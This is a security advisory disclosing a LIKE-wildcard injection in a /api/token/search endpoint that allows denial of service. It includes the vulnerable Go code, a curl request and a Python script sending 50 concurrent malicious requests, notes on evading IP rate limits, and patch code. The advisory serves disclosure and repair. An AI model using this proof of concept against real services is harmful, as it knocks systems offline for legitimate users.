GHSA-w6x6-9fp7-fqm4

Summary

A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.

Details

The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.

Vulnerable Code

File: model/token.go:70

err = DB.Where("user_id = ?", userId).
       Where("name LIKE ?", "%"+keyword+"%").     // No wildcard escaping
       Where(commonKeyCol+" LIKE ?", "%"+token+"%").
       Find(&tokens).Error

PoC

After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.

These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:

# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='

It will cause DoS.

import requests
from concurrent.futures import ThreadPoolExecutor

def attack(session_cookie):
    requests.get(
        'http://localhost:3000/api/token/search',
        params={'keyword': '%_%_%_%_%_%', 'token': ''},
        cookies={'session': session_cookie},
        headers={'New-API-User': '1'}
    )

# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
    for _ in range(50):
        executor.submit(attack, '<valid_session>')

Impact

Availability

RAM Overflow

Postgres unavailable

• Database CPU usage spike to 100%
• Application memory exhaustion
• Legitimate user requests blocked or significantly delayed
• Potential application crash or database connection pool exhaustion

Database Performance

Testing with 2,000,000 tokens:

Attack Scalability

• Single attacker: Can launch 10-50 concurrent requests easily
• Multiple accounts: Attacker can register multiple accounts (if registration enabled)
• Proxy rotation: IP-based rate limiting can be bypassed
• Persistence: Attack can be sustained indefinitely

Resource Consumption

Each malicious request with 2M results:

• Database: ~6 seconds CPU time
• Network: ~200MB data transfer
• Application Memory: ~200MB+ for JSON serialization
• Connection Time: Database connection held for entire query duration

Exploitation Scenario

1. Attacker registers or compromises a regular user account
2. Attacker crafts malicious LIKE patterns using % wildcards
3. Attacker launches concurrent requests (50-200 concurrent)
4. Database becomes overwhelmed with slow queries
5. Application memory exhausts from processing large result sets
6. Legitimate users experience service degradation or complete unavailability

Patch Recommendations

1. Escape LIKE Wildcards (Critical)

func escapeLike(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, "%", "\\%")
    s = strings.ReplaceAll(s, "_", "\\_")
    return s
}

func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
    keyword = escapeLike(keyword)
    token = strings.Trim(token, "sk-")
    token = escapeLike(token)

    err = DB.Where("user_id = ?", userId).
           Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
           Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
           Limit(1000).
           Find(&tokens).Error
    return tokens, err
}

2. Add User-Level Rate Limiting

tokenRoute.GET("/search",
    middleware.TokenSearchRateLimit(),  // 30 req/min per user
    controller.SearchTokens)

3. Add Query Timeout

ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).Error